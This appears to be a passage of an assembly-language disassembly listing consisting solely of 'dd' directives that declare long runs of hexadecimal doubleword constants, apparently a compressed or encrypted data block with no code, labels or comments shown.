		dd 0A8C97477h, 5482B88h, 0B5AB7641h, 0D808B071h, 0FEA97A38h
		dd 8A91F50Bh, 0A1CF0048h, 5EA7FD1Dh, 50982742h,	313050EAh
		dd 5AB58200h, 0BDA8F236h, 58970993h, 5C80C8F9h,	0A4AC380Bh
		dd 0EA919B09h, 16F00034h, 11C8C83h, 7689CB2Eh, 0F0F87225h
		dd 2C00FEA1h, 7591E58Bh, 0E8793AE0h, 0A79307E4h, 2377C1F0h
		dd 8FF0D066h, 637B9BCEh, 0E9005BE6h, 7EF5D1DDh,	49CEBh
		dd 5E2D1FD5h, 0A370A2CBh, 2811F300h, 0B6D494D7h, 0D8E029h
		dd 0B86585E6h, 908DAD3Eh, 0FBC8C50Bh, 21850015h, 354995h
		dd 53508F0Dh, 3AC9CEA7h, 909CF700h, 0EB619B07h,	10DB0085h
		dd 91A17460h, 0F9006954h, 2A4BA5DDh, 0A04A6146h, 93F7180h
		dd 67E26ADAh, 60C0638Fh, 181AA5ADh, 80FFBBE8h, 0B0E97ECh
		dd 3A95EDFh, 0B749FB1Dh, 0B4E12043h, 0D9A3C8B2h, 0DB6A0400h
		dd 9A72CCB6h, 63280023h, 4C1D3665h, 94007FB7h, 0C0DCBE77h
		dd 9A0B9Eh, 5639BC89h, 0AAD7B33Eh, 1F883304h, 668027D2h
		dd 93E3D6h, 0CBE8B83Ah,	0F3708176h, 0EBF83Fh, 0F02DA70Ah
		dd 7C97127h, 0FBA03C84h, 0B4180CFh, 640579B4h, 9FC0D678h
		dd 0A494C3C0h, 51420083h, 0F39388A9h, 0B21C1EA6h, 0E1C0991Ch
		dd 0D67AA770h
		dd 0D1E51777h, 0FE9C3441h, 0EC45BAC1h, 7D3C1BFCh, 0A0667DE8h
		dd 0BEBC9FD1h, 54374168h, 184C6019h, 1C6B3F00h,	6F5DE9C5h
		dd 404E00E0h, 7FE18299h, 0B94CA513h, 29037584h,	2E8BCAFFh
		dd 4043C002h, 413D004Dh, 0ABA6EEF2h, 0D900FDB2h, 89958022h
		dd 902623Ah, 0D8F1A5B6h, 590E5C80h, 822CB3E2h, 836090C8h
		dd 1D867F7h, 628F41FBh,	0E16A5F57h, 0E3AFD9DCh,	0A2FC30F0h
		dd 36542Fh, 0C2E871B8h,	0E6D10535h, 339FF9h, 0E1D353B8h
		dd 0F8706D8Eh, 94EB59h,	7E33E7FCh, 574412Ch, 91D26884h
		dd 69C1C34Eh, 2C51FE8h,	20717600h, 9C2CEF43h, 16D001FEh
		dd 0D7B13247h, 2692014h, 0F00B7228h, 0B4823300h, 67088EF5h
		dd 4C690048h, 0AD274D0Ah, 142610A9h, 0A3805059h, 4A9F36FEh
		dd 870303F7h, 3B741A76h, 0D4A00F89h, 0D61DBF21h, 494041C5h
		dd 0A903EB70h, 8AA2EE5h, 0F4110080h, 0D26AB3B0h, 45696600h
		dd 0A8BBD391h, 0B22800A0h, 954F1682h, 8BFC3583h, 5EA9150Fh
		dd 424A0065h, 0B68492h,	0D57BC6E5h, 0E6EE2F98h,	16A9C90Ch
		dd 9CEB3E68h, 0CADC00A0h, 663318FBh, 0B49CC324h, 0CC5A5101h
		dd 90724FD0h, 920C6DC0h, 570514FCh, 1B3A46E3h, 0ED69D883h
		dd 629DC981h, 0B235CC4h, 2A08263Ch, 874B1084h, 0F0FF608Ch
		dd 2D16A30Dh, 3709B8D9h, 91680009h, 0C8F564h, 0B79A7DBEh
		dd 0C3BC3E4Ch, 0E18CF20Fh, 0CE0DE01Bh, 48867A43h, 0EA1388ADh
		dd 0D4B460D0h, 4F1E3AFBh, 3DC052E2h, 45FF35B7h,	48430370h
		dd 0F1A3BC2Fh, 2A00C87Bh, 3D8DF6CDh, 0B81C6D26h, 3C28B68Ah
		dd 5306E0C9h, 30EFAAD6h, 0C1AF9500h, 0BB4B868Eh, 0F01A61A7h
		dd 0F9A3DFE7h, 6DA4600Dh, 1183325h, 524F8674h, 2612CC24h
		dd 2818BD41h, 26CE0139h, 0A59EAE37h, 0EC7DF018h, 0DE06AB02h
		dd 906ADF34h, 13C78D9Ch, 6695FCh, 391382D8h, 4500E942h
		dd 14CBDAB2h, 9E5A2Dh, 0E3E8C201h, 7DC87B76h, 0CD216C00h
		dd 568843B3h, 0B17C0083h, 0F4548F47h, 9D009F37h, 96AC085Fh
		dd 0C8F0C4h, 10270641h,	0AE7A75C7h, 58176130h, 0B95B605h
		dd 6BB54A16h, 0B21A2300h, 0A1C1035h, 2840DF54h,	2217B829h
		dd 0E34D0368h, 0A3665AC0h, 3BA512A0h, 30D3881Dh, 0C9B8D600h
		dd 3896C42h, 0FDF2E74Bh, 1A80CF8Fh, 0B900D868h,	8254AEC5h
		dd 99A7Ah, 3DEC3997h, 0B290F5D3h, 2EC3FB38h, 2E0078C7h
		dd 6E1F3577h, 187504h, 6B6AD201h, 969E3F2h, 0F90C471Dh
		dd 3BE04880h, 0F0AF66h,	29C7CE03h, 0F24289F5h, 80859E3Fh
		dd 1E317816h, 40AFE4Eh,	3725698Fh, 51CA8B6h, 142BC3E7h
		dd 2ACDEC00h, 3DD3F078h, 0A809746h, 0BDBC6165h,	0DD2E2CC1h
		dd 0C30E848Bh, 0B62443A3h, 0B4BCAC31h, 0E661F00h, 3B1C5A81h
		dd 68285800h, 0F72361EEh, 40423AECh, 0E29E0D00h, 2CE65596h
		dd 970054E8h, 62A9235Dh, 0F074595Eh, 1424007Dh,	0C48704BEh
		dd 0F03B49C6h, 0BD1E8092h, 0A879071Dh, 7719003Bh, 9D35101Ch
		dd 0D802C493h, 0CD7A927Dh, 35458BDh, 72ADB10Bh,	22E054E4h
		dd 7D0036EBh, 0C04C8E39h, 61F094h, 732934E8h, 0C7DDADF1h
		dd 0D9F35600h, 91646EB2h, 36680388h, 933858EBh,	56FDB1D8h
		dd 0BEC1CC00h, 7D5E3387h, 20B00085h, 0B641F65Ah, 0FCE99C25h
		dd 750F2AD6h, 4003C51Eh, 450B0D4Fh, 35810195h, 7FC72DC4h
		dd 0E3E5306Ch, 167E9D04h, 0F8D01513h, 0AE8A23h,	0E53397F0h
		dd 7995CFE2h, 10DF7800h, 5EF4B41Fh, 0ECB00160h,	93D61BE9h
		dd 9DE0FE29h, 0DBEC4532h, 0D5E3C207h, 28B34ED3h, 31701748h
		dd 813D1CAAh, 34DA17DCh, 0C11D60CFh, 2D7ACD77h,	284CE000h
		dd 0A7746F4Dh, 24389515h, 570027CCh, 1347B4C0h,	9D8EAB05h
		dd 0B821C802h, 91C0CC51h, 0A0752h, 123F3BD0h, 7DFBCBA0h
		dd 0CCAF5F00h, 0AA78E043h, 0C695019Ch, 266E6D34h, 2477F4h
		dd 8602DAC2h, 937AA0h, 3DB190DFh, 4530646Ch, 5572B50Fh
		dd 3CE0724Ch, 89D200C2h, 1D961033h, 7E006A49h, 6301D11Ah
		dd 723816h, 9D583A6Eh, 2ECE62FBh, 0FDC7BC00h, 87B7F44Ah
		dd 22743B05h, 9050C0CBh, 2300AC66h, 0D7DD3F58h,	0EC854Bh
		dd 4061FC52h, 415EF8Bh,	4AF8C200h, 25640FAAh, 8C1E2885h
		dd 199703F9h, 7524D2E6h, 1BF2DED8h, 0E0D3CE00h,	0A71802D0h
		dd 0A3701DAFh, 4DB2C16Ah, 30CC03EFh, 593D21CCh,	0D36D800Eh
		dd 0C0B4C9D5h, 9AB100E7h, 4DD673CDh, 890C5906h,	98BB8229h
		dd 84A60039h, 4705A26Eh, 900CFCAh, 2E2AB7F0h, 0F549F68h
		dd 0BFCBEEBBh, 0A960FBEEh, 0C7BA6CFEh, 53F42100h, 20F9A728h
		dd 1FE1002Fh, 60455C0Ch, 8125EBDDh, 4AD00727h, 3701B8F0h
		dd 88AC013Ch, 70D27552h, 66109F3Eh, 0C74611C0h,	72D42BDEh
		dd 11B84C93h, 19815238h, 5538B988h, 20A8711Dh, 0A2009B34h
		dd 0A3D90186h, 7BD59Fh,	0C6021D0h, 97F4CE2Fh, 361B5300h
		dd 93E772FCh, 7EAF3852h, 0A06FB707h, 0F461B06Dh, 4100C030h
		dd 3F8F74CDh, 0EA387ABEh, 6693009Bh, 88A9C857h,	7E00E92Dh
		dd 8BB3AEBh, 0FA846E25h, 0E8701EA2h, 0FDBF8B37h, 0A54ACB8h
		dd 886B59h, 0E42AF8F6h,	3EA1E28h, 79A03220h, 0A5991A82h
		dd 8FD5EC96h, 40579500h, 51FF150Eh, 8359005Dh, 5C086C66h
		dd 90007725h, 89EB463Eh, 11D867h, 160B9D20h, 9EA779A8h
		dd 0AF2E9F00h, 0E33955C7h, 0CCF700DDh, 44E5F29Ch, 0CB009E3Ch
		dd 28C1CEB6h, 6E75AFh, 2E9C5337h, 830E762h, 80101839h
		dd 1575CA0h, 24BB503Dh,	28E9D0h, 0EA713A29h, 10EE436Bh
		dd 59203003h, 0B08DCE58h, 38FBEF0Dh, 0AE80EB65h, 17ED702Dh
		dd 80971BBEh, 0EE90EC90h, 0C68202D0h, 486AA624h, 28805562h
		dd 0AAB91797h, 0DA1CA97Bh, 7A00B0EAh, 9AA4D5C4h, 309729D3h
		dd 0A05700ACh, 14E44792h, 9AE5EE00h, 1B33A55Ch,	0CC1300D5h
		dd 8DDEBEC9h, 213A4695h, 160C8030h, 9C6C514Eh, 8E0D0049h
		dd 0BF8540ECh, 0D207D14Bh, 8693C7CAh, 0B0875A80h, 0EEDA0007h
		dd 2DE246F3h, 0DB00EC2Bh, 1425665Bh, 1E8DFBBh, 78CCBCEFh
		dd 0E27E2DD3h, 503BF087h, 0F8547707h, 0EF83AD00h, 0AB709DAAh
		dd 0E06CE010h, 16D0269Bh, 0E7780030h, 0DD88993Eh, 0A52DC601h
		dd 1CCA6D12h, 7F005C6Ch, 0A7B557C0h, 0E70020D0h, 0D32B6485h
		dd 2D444D8h, 1EF606AFh,	4DE0434Dh, 0D00B677h, 0C58594C9h
		dd 0CB633Fh, 6F3CD8DCh,	0EBEE6978h, 1F0038EAh, 0AA49B86h
		dd 9D2A62h, 3E4EFE66h, 8A9C1A75h, 410C3D00h, 0A4EE9B81h
		dd 67E813B6h, 71280007h, 79E5BC3Eh, 52278500h, 0F832DCC2h
		dd 1A7FAB9h, 8A8D7D86h,	0C4513EDBh, 737C540Ch, 73446252h
		dd 0E7EF4C03h, 0F056FC57h, 446647h, 5B025842h, 0CF1ECDFBh
		dd 680D5003h, 0E061E7E6h, 0B062FABDh, 8C7394h, 0D3B1AA9h
		dd 0F00456AAh, 8546E600h, 0FAFEE579h, 0CA6607BAh, 103C43E2h
		dd 0D6F923B9h, 5F212D00h, 8C4B7398h, 33E9003Dh,	8A9B64B3h
		dd 0B90009BAh, 0E02B0FDh, 6960DFh, 899C61ADh, 0E544E082h
		dd 8ACB5500h, 8353B6F5h, 0D57205h, 13FD8BA2h, 4B66BC41h
		dd 94B73400h, 5E91654Ch, 13EF201h, 64145685h, 0D0B2A7DAh
		dd 8E008BE2h, 0F0CEF262h, 0EC48B488h, 616C00B0h, 3F6EDB4Dh
		dd 6F5A2BBDh, 68E8A8F1h, 5E90026h, 0D851B2EAh, 879F41E3h
		dd 0F090EFFDh, 3E920F65h, 0B3A449D6h, 0FF8D0ED0h, 42EED866h
		dd 943A7403h, 90EC6038h, 4A596Eh, 1EFDDBF1h, 0C037094Fh
		dd 0DC451400h, 9BD2E286h
		dd 4CF4000Fh, 117604Dh,	3200B2B8h, 0C91E109Fh, 2E69ED90h
		dd 20D4BD39h, 9E01908h,	0F89820AEh, 5A388B3Dh, 0A0319D84h
		dd 4BBB4740h, 921A8F3h,	65094101h, 87CD7780h, 9EF81359h
		dd 0E400157Dh, 0A931F546h, 8A2EB9h, 10473567h, 0C4F2B23Dh
		dd 0C50206F6h, 8ED49E3Ah, 0D21B619Ah, 97E1C4h, 186E7CC3h
		dd 0FA6B3D37h, 260D4B01h, 7F8FE94Ah, 0B3A9C06Fh, 3201AF88h
		dd 791434D9h, 9840B513h, 0C08F89A8h, 4B362B51h,	1774FB51h
		dd 0CB8EA8C4h, 0F00098E8h, 77D49175h, 0DF07106Fh, 6D5FD725h
		dd 18E90330h, 30FE0032h, 8FABF0E2h, 0D6077758h,	2A98AEF2h
		dd 6747CDE0h, 0AC8A0012h, 8C4F0472h, 0E61E59B7h, 0FC55E2h
		dd 0C2837DCBh, 308CFh, 9348A140h, 9933178Dh, 0EB24F000h
		dd 4906F8B7h, 0C0F400B5h, 63C3206Ah, 0BC005B96h, 3D241DD7h
		dd 0F401AC1h, 3944E9C5h, 0F98B92E0h, 2006B75h, 810FE87Dh
		dd 3E45FD42h, 543D7173h, 0CFEB1F00h, 3BABDA1h, 9DED2600h
		dd 972DD978h, 0D25D00C7h, 492A5AF2h, 0A50323A1h, 84C15F1Ch
		dd 8D6AF9DFh, 17128081h, 40CA164Dh, 90B3B798h, 6AF56216h
		dd 3CA0B0h, 0A30BA9BAh,	60157AE8h, 0D809A678h, 82DB8861h
		dd 40957F86h, 10BF72Ch,	0A53ADC2h, 0F1FFE663h, 0E7FCF8B7h
		dd 0E0EF5B00h, 9325418Eh, 0D86C0076h, 92CE490Ah, 0EE0047ADh
		dd 0FA260FF8h, 0B8989Ah, 235238F0h, 6981652Bh, 1CE72200h
		dd 0D4CAAA0Fh, 0F5C10313h, 60A2A6B8h, 40BFC0CCh, 9B035CB5h
		dd 0E30AFB98h, 0C0AECBh, 7706B31Dh, 0A4A68795h,	18F6D530h
		dd 3BBCF91Eh, 539215B6h, 2E64803Bh, 606493B5h, 588834A0h
		dd 0FB651EF3h, 339742AEh, 2C8194DEh, 2867A1Bh, 828EBB1h
		dd 1621C458h, 0B5630704h, 0A534D550h, 1E2C8358h, 0AF615972h
		dd 0AD3BCEB8h, 8E2B2C40h, 0A0DD80B8h, 0BCD858A0h, 1B0C0389h
		dd 0C659BA61h, 0CF126F88h, 844CB711h, 722904DBh, 3039A4A9h
		dd 48CF2FCh, 0E24F5385h, 20D347B3h, 80D22008h, 4081CF58h
		dd 0F0D0935Ah, 9AC909FCh, 1EE4502Dh, 9D5481A3h,	0CD08C051h
		dd 2F208025h, 3DAC493Dh, 12985071h, 9CBC9300h, 0E385FFC5h
		dd 56CA163Ah, 8258C001h, 0EB000F4Ah, 0F1D445F3h, 1C89B5Fh
		dd 3A774EEh, 20C4F5AFh,	9A0B176Bh, 0FED2CCh, 0C30FD695h
		dd 0F83F6064h, 395D97AAh, 6DABF100h, 4E0C83EEh,	3A52010Bh
		dd 6126A7CFh, 5732F4CBh, 0BDD290A8h, 135B200h, 716B3A08h
		dd 6F7418D0h, 2AB12114h, 6C5DB301h, 0FEA37296h,	0A114C80h
		dd 0F925FFBh, 0CAD19F60h, 60296DA7h, 22B2386Eh,	110E2B3Fh
		dd 0C0B5DBF2h, 948F0E15h, 0C098C4h, 86D7D5B2h, 0D2BAF38Eh
		dd 0A2C0566Fh, 87BE18DFh, 2D5269F8h, 604040FCh,	3B14901Dh
		dd 41650ECEh, 82FCE05Ah, 0F40D7500h, 0CD4D2DADh, 0AF211842h
		dd 9213C1A0h, 944FBF24h, 9420AC83h, 0E41E44C2h,	0A7CC0AB2h
		dd 805C3699h, 0F38AA37Bh, 94238EFBh, 33C1801Bh,	0AF4D992Bh
		dd 0CB2081C1h, 0BC400784h, 4897ECF8h, 0AF3E3C49h, 188FFC50h
		dd 715AD4B4h, 14004182h, 1A0FD994h, 0E079F48Ch,	0E8F7305Fh
		dd 0CE591321h, 21906B00h, 52AD9CEBh, 747A493Bh,	0BEA35A1Eh
		dd 1D45D383h, 54A1517Bh, 0D6E08214h, 42967F03h,	0E3C80EC4h
		dd 9D9259h, 0A6484510h,	136C75B0h, 0DEF49B00h, 658CFA25h
		dd 228701F9h, 88640EA1h, 0D86221ECh, 0DD00193Bh, 55B28596h
		dd 0CEA575h, 74A74EBCh,	78E41601h, 9369351Fh, 5D535E00h
		dd 3E4AD297h, 0FA8E149Fh, 3037E23h, 0F69341D9h,	0EBED96F0h
		dd 8CE7DD1Eh, 136D36C0h, 3A93F2h, 78045C7Fh, 5D2057D7h
		dd 0D80D0DEh, 0E198E660h, 4662139Ch, 0F8D20771h, 8078A4EFh
		dd 0CC3A59A5h, 43A5BB00h, 64CD9DA1h, 27220355h,	6954B6CEh
		dd 5DE37A80h, 5B77151Fh, 2D57B00h, 96B42h, 0CB416E2h, 560D33F7h
		dd 0E80058F4h, 0C2110418h, 62DE09h, 658A7FADh, 0B5D130A7h
		dd 0E9FBAC00h, 4316948h, 0E8430FCDh, 24600DDDh,	0AC08D9B8h
		dd 0EE461503h, 0D94D1378h, 7CE4DC2Dh, 7A1E0043h, 5FD37F61h
		dd 7601E2A6h, 7B4B24B7h, 2DD025EFh, 40F0D0h, 5710C515h
		dd 8AA8D9BFh, 6E32E31Ch, 9E303FC0h, 7D824BD5h, 282B0B26h
		dd 0CB00E9F1h, 37EDA069h, 316CC300h, 0E3562151h, 82AD031Eh
		dd 0DE953D06h, 0AA235018h, 1DFA8A8h, 317F9C7Ah,	6044D33Eh
		dd 0ED0F56C8h, 5F830541h, 4F6FE383h, 23D4D88Fh,	1CA00C7h
		dd 0C145ED75h, 90039D2h, 0ECAAE41Ch, 0B3CB4ACh,	560AFF9Bh
		dd 66E48075h, 6DA7A2D3h, 0F0B67025h, 131C8428h,	2F00CD7Dh
		dd 5DA827E0h, 79F10001h, 0AD8F8AC2h, 72123B55h,	29FCFEE7h
		dd 1C893C00h, 0DFDBCD7Eh, 30A6A800h, 0B2CE79FCh, 40580159h
		dd 3FF0F766h, 5D8B4011h, 0C200F488h, 0AC590EFh,	168B4C4h
		dd 220B93CAh, 0C8E50F43h, 100DC49h, 3602C1CBh, 0AF25F77h
		dd 4C05A79Fh, 0E63A86BCh, 0C80750D8h, 50ACD57Ah, 54DF8150h
		dd 982C0059h, 0DC31762Fh, 74ECC03Dh, 68C6B400h,	63DEEDDBh
		dd 26DD1D42h, 203CA081h, 447D8061h, 4B49414Eh, 1F0500A4h
		dd 51366438h, 68000AB6h, 2DBF33B5h, 0C05E20A2h,	9480838h
		dd 0EE137E8Ch, 0F5075043h, 228017B6h, 3020382Fh, 77B0B18Eh
		dd 0AE3C4A51h, 4BB48007h, 289DB509h, 5DF8A82Fh,	273D0764h
		dd 0F04F36B7h, 5494089Fh, 0F34CBFF8h, 0D9B84F53h, 9DD0A05Bh
		dd 7A1E84E8h, 4170D556h, 50F5179h, 0D078728Dh, 0F1D800E7h
		dd 0B844AD50h, 8700CE7Fh, 64EAD501h, 0C11C7CBh,	71671778h
		dd 7A003230h, 7E273B02h, 0F42390h, 0A89D54C7h, 6939B43Dh
		dd 0A2800503h, 0E045565Fh, 3C6C9Eh, 8D927B10h, 0C50CE6CCh
		dd 42D7011Fh, 0D2C8E000h, 90B4F032h, 0C0D001F9h, 62FE266Fh
		dd 70BCD6h, 0B49D5E39h,	0FB048Bh, 66CBAC77h, 0F9155823h
		dd 738EE7Bh, 0A4A3036Eh, 86B60B49h, 0ADEC0149h,	4D780CD7h
		dd 0F2FFE0CBh, 68369E00h, 0F1823965h, 171EA51h,	9BAAB522h
		dd 40E6CB62h, 0DF93A110h, 4544D800h, 597C6B2Fh,	827B0087h
		dd 0EF2CF192h, 39181504h, 0CD0890E0h, 62110089h, 0E4FA81B5h
		dd 180DDD21h, 20EFA495h, 0DC03BE0h, 73430AC9h, 0D01C074Eh
		dd 9EB31FC8h, 3B105600h, 93EE73EAh, 16E60A7Ah, 0B9F8A8h
		dd 97D183F2h, 510070C7h, 1EAB9B0h, 3FDDC73h, 0A740DD5Dh
		dd 27B0A179h, 5507839Fh, 69E17E72h, 0AFB134h, 0D8509070h
		dd 8500F9DBh, 0DA657432h, 30BEA48Ch, 7DB87173h,	0F8001804h
		dd 4BE9FF2Dh, 40082Fh, 805E748Ah, 75DE7A71h, 0C9223C00h
		dd 0E7B31ECh, 0D3D701EBh, 0FACF6B4Ch, 0B302CCE0h, 2976603Ch
		dd 5C046Ah, 4A703CE1h, 0F3495E67h, 75005DB0h, 89E63D1Dh
		dd 105735Bh, 0EAE27CEEh, 602C0C27h, 0A003528h, 0D1417297h
		dd 162E89E5h, 1E3BCD64h, 721132Dh, 0F07DD40Fh, 8A3CECF7h
		dd 0DE09300h, 0A8393533h, 776E0074h, 0AA28AF9Dh, 430FAECAh
		dd 2053E2ADh, 18E99E8Fh, 45E7288h, 0F54BEF1Bh, 771CFBE1h
		dd 2C008BD6h, 0A3417136h, 0B6460040h, 659A4F6Dh, 0CF017B28h
		dd 30132A33h, 0B1E06779h, 51CB00E9h, 0F08FCAA8h, 0A50092F8h
		dd 0D61C8D2Ch, 45086Eh,	0D4B9CB6Dh, 0F981CD89h,	0C96BFC07h
		dd 22809E1Ch, 320130DDh, 0FFE6E041h, 69152C0h, 2A53E800h
		dd 21EA6759h, 6AEF004Ch, 16987E55h, 0AFC1045h, 0CA410300h
		dd 0B9488584h, 4C7B0024h, 0AEDC1F67h, 0CD0596F7h, 0F869D608h
		dd 76CC8C0h
		dd 19880041h, 70AD4F06h, 0FE003EB3h, 0F92A5BB7h, 137A5008h
		dd 0F010D6D1h, 0DE049191h, 73DD5CE8h, 2AB4A7C0h, 48B7040Fh
		dd 0C0E4526Dh, 5FEA26A2h, 54000A7Dh, 55395AFDh,	6B984Bh
		dd 9B246CA4h, 0D54DFE43h, 750751F2h, 98E1DFD3h,	32809690h
		dd 9C66003Ah, 0ACBA7C0h, 1002F8Eh, 91E406D6h, 6E533Bh
		dd 74888A5Ah, 387AB5AAh, 0D8BB792Fh, 2B021621h,	0AFFC0060h
		dd 0C8EBC62Ch, 40841C24h, 8F03D100h, 0F6D5E8h, 40C39B47h
		dd 3A1DD90Eh, 0EE488200h, 0B5DBE477h, 508E07FEh, 70A39A05h
		dd 24D98179h, 0A6B1F701h, 5E174A26h, 2230EB47h,	9E7030h
		dd 401F698Ch, 94C4D664h, 5300D077h, 6665CD7Ah, 4C045D85h
		dd 1403753Dh, 15374736h, 3007E5F1h, 6B0088B2h, 402CA9BDh
		dd 132797h, 1C53EBC8h, 69C6D0D7h, 0C2572005h, 0B280E9E1h
		dd 0FAEEBC3Bh, 0F2C00C5h, 0EA0AE41Fh, 0A3007612h, 249F9039h
		dd 0B036A4B0h, 0BE940080h, 4DAA06EBh, 0A000CF1Fh, 67B942BAh
		dd 2EA385h, 0EAEC90A8h,	8E114692h, 71E25A00h, 0CD68AD26h
		dd 32F903D7h, 66F802DDh, 1A7590C0h, 7CA28200h, 0DC914EBh
		dd 8B4012Eh, 0AF9A0F05h, 0EF1C30CFh, 0F6421004h, 29C064E9h
		dd 3E79B439h, 498084E4h, 9E0E889Fh, 477F78FFh, 505B5701h
		dd 0E0F6C24Dh, 28583BD0h, 0B314A8h, 623927C9h, 0F98D6A7Ah
		dd 0CD971900h, 8B7D1ECCh, 0A1BE029Fh, 4671FF72h, 0ED29A9E0h
		dd 67584400h, 0CCBBF5FCh, 6D04006Ah, 0B6523B87h, 8800DD54h
		dd 4A7FC1D1h, 789F63BDh, 0E3AE1D29h, 96C04012h,	7D29E25h
		dd 0C600167Ch, 6A5645ACh, 65A198h, 34CFE28Eh, 0C5F1279Ch
		dd 2D3C1F0Fh, 51A90087h, 7E14994h, 36D3A854h, 0B763F08Fh
		dd 0DF004A77h, 1FF5922h, 76AD252h, 0E437DDB5h, 0E04DB795h
		dd 0EAB6DBF0h, 0CB577D00h, 0E56E1934h, 0BDC104BCh, 0C0D32B0Ah
		dd 1C84D518h, 370045E2h, 0AC2EE1BBh, 9A34634h, 9DA56C7h
		dd 50FA9502h, 1B9123E0h, 0DC6A2700h, 30451278h,	0F83300CDh
		dd 9A4055Ah, 0EA2C03BEh, 0BC00A383h, 9D861970h,	0CC231220h
		dd 2B9020DCh, 0C200F9FDh, 53DDB033h, 1F93C76Dh,	0C1CD65F6h
		dd 8606B661h, 6F9CE0ABh, 0CBB27000h, 5FE1B0FEh,	343C00F9h
		dd 0EF4DE8F6h, 70001CBBh, 3727D8Bh, 9F77ECh, 6CB77C6Ah
		dd 0A2F4D769h, 66D62900h, 0C0545BAh, 0B0031FD2h, 404FD830h
		dd 0F7091D0Ah, 0AC0236F5h, 0E80859D4h, 6F092h, 866F0F88h
		dd 0B7E63325h, 63C921C0h, 5F8CF9h, 6E9E26FEh, 0F7C75D79h
		dd 3E7931Ch, 5100AEA8h,	0F08884A1h, 70C50CFh, 0FD24BD9h
		dd 2825B253h, 0EE64A840h, 284E0630h, 18FCB5ECh,	10AE9277h
		dd 350A8C3Bh, 0B5225F28h, 78002716h, 9FF70207h,	0C9F826CAh
		dd 0D9131Fh, 95C4361Ch,	43022A28h, 0EBD42DD0h, 962C4037h
		dd 75A3000Dh, 0E545015Bh, 0D2005A94h, 7EE02DFAh, 0B510F3h
		dd 4A68D7D1h, 0F68F8DC6h, 57CA3700h, 8847EC34h,	481D4DC8h
		dd 23772B0Ch, 7800DB70h, 91F07371h, 186286h, 0EF8D9941h
		dd 1589DDF2h, 18022B26h, 92060E00h, 126D7E0h, 0B50D9FFDh
		dd 0FC3C08ABh, 0BB3AD947h, 0F1700003h, 4E854504h, 0D166005Dh
		dd 0FBA1DBC9h, 0A43D6505h, 698200DDh, 6B01B030h, 67C60037h
		dd 0C3D5863h, 7E244FA4h, 813F9397h, 2C2932AAh, 6BF80285h
		dd 0BF83174Bh, 1F48005Eh, 11388ED2h, 17428800h,	0ECD97068h
		dd 5AF39BBh, 2AF1EF85h,	2094C71Dh, 0D6E752F9h, 5F4CC703h
		dd 0C3BD645Ah, 0FF9798C0h, 0E36E0560h, 807B3C98h, 41B32084h
		dd 8006C7Dh, 0F093C0F4h, 0F0FFB4Ah, 0E6298431h,	0F9175D23h
		dd 47C16AA8h, 2DD9AA00h, 0A3B4B7ABh, 6CB868h, 49F3D169h
		dd 8E707667h, 164ABE0Eh, 4B35609Ah, 1F66B0h, 139665CCh
		dd 5AA624AAh, 82F00C73h, 0C9E90900h, 0A7D21829h, 3A90063h
		dd 6B786231h, 92007467h, 0B2EA1C88h, 0FEA4F7FBh, 9C6928EBh
		dd 0F8CAF49Dh, 7F350091h, 0AB572E95h, 1A487C88h, 25BD0EA8h
		dd 0C0005762h, 716DB409h, 74800052h, 83A11C19h,	821F4D38h
		dd 8F445CB0h, 0AE805AFEh, 423ACh, 0DD0ECA95h, 5278477h
		dd 0B0B25E01h, 4A0A299Dh, 2686F8h, 0D1BE55A5h, 7944D7F9h
		dd 63735300h, 9AFEDDC1h, 421426A9h, 1C026F6h, 0C2BD134Ch
		dd 0B0829E6h, 8022D4CBh, 0A0AB2C64h, 953B0075h,	0E186F055h
		dd 0D0080D5h, 88E0C030h, 42D07Eh, 7A8A6DE3h, 63CDAAABh
		dd 74B5FD00h, 7B5E975Ch, 46AD0E24h, 0B7A5BDC5h,	2D608056h
		dd 6200B2F2h, 8C5FCA73h, 0F2D76AC3h, 0F918013Fh, 14DC0F33h
		dd 54E1305Dh, 6675E700h, 0FA173702h, 0A2BA1C90h, 0C50DC0B7h
		dd 0D0277035h, 1139B39h, 792B0119h, 20D8CFDAh, 91FD00A7h
		dd 0B9EC9CF6h, 9400D2BEh, 23A4B1C2h, 99D3F3h, 2F137FE0h
		dd 0EC6E6988h, 8863200h, 76EB54A6h, 9F8900A5h, 0B9E1FA4Eh
		dd 9B00E5BAh, 3923AA0Dh, 14A852B1h, 0D07C06BDh,	0F4B6D500h
		dd 414D7294h, 8F8C500Ah, 0D49FA0A9h, 15B81BC0h,	3F7A44E8h
		dd 570E6442h, 68007FFh,	0D56DF3BDh, 0E8857601h,	4CC6DE34h
		dd 9893C0F2h, 52602602h, 69C50098h, 0FEDBF780h,	4FD23D00h
		dd 0E1A535BAh, 1F19FEDEh, 0E1C57DAh, 0A0212938h, 0D8FB1259h
		dd 0F0A0244Fh, 55581328h, 0CAE20040h, 0F6540C8Ah, 778B002Ah
		dd 4B1FEF2Bh, 4500685Bh, 533D8143h, 5A3EB32h, 2AC407EAh
		dd 0C6788197h, 0C09D20B0h, 4D755C00h, 0DEDFA788h, 1762FE25h
		dd 1707F5h, 4171AEDFh, 0E40083B4h, 0F9BBE292h, 7E8BABh
		dd 0BC942FC8h, 0E0586651h, 81197139h, 2B4090D9h, 0F0405346h
		dd 0F3AD5FDBh, 32A5D8C3h, 730100CAh, 313FE98Ch,	350FB560h
		dd 607F57C7h, 0FB45B402h, 11D90FF4h, 407ED652h,	765FC164h
		dd 0C4488A9Dh, 0C8C90470h, 5B81B137h, 0F1CC3017h, 4E56009Eh
		dd 88F7D8BBh, 0DC06341Eh, 42946AC6h, 901004C0h,	8016F3DEh
		dd 81F8D48Bh, 1084701h,	0C968856Fh, 5BEE1F0h, 19434021h
		dd 80BA84CEh, 340BC7BBh, 0DE44171Eh, 756336C0h,	161A335h
		dd 0EABFFD9Ch, 34A19E27h, 4909AF58h, 80E95851h,	0E87B5C9Ch
		dd 110E6B0h, 6920CC31h,	2056AC15h, 55090195h, 0A0DF6D9Eh
		dd 99C69F98h, 335C0E4Bh, 6E0089C7h, 7A88395Bh, 70826300h
		dd 27D5A3CBh, 343B877h,	0CF058376h, 56E022A9h, 90A060CEh
		dd 0D400F7DFh, 8D21B67h, 0A93D5Eh, 0CA69D5A5h, 74ABB3B1h
		dd 0A652300h, 2590AEFAh, 0A2F8E5h, 0FF45EA63h, 0D7894854h
		dd 0E9067DE8h, 5714A47Fh, 2D7788h, 0AA86B93Ah, 0C9CAD7F5h
		dd 16BCA650h, 205052h, 6C5EDA21h, 79CA3DB7h, 3ACC00C2h
		dd 0B3340206h, 890379C3h, 0EC1F8D87h, 42CDD85Bh, 524B0058h
		dd 0A42DD681h, 3D00B2FFh, 0D295CBC8h, 26DFF1h, 6434219h
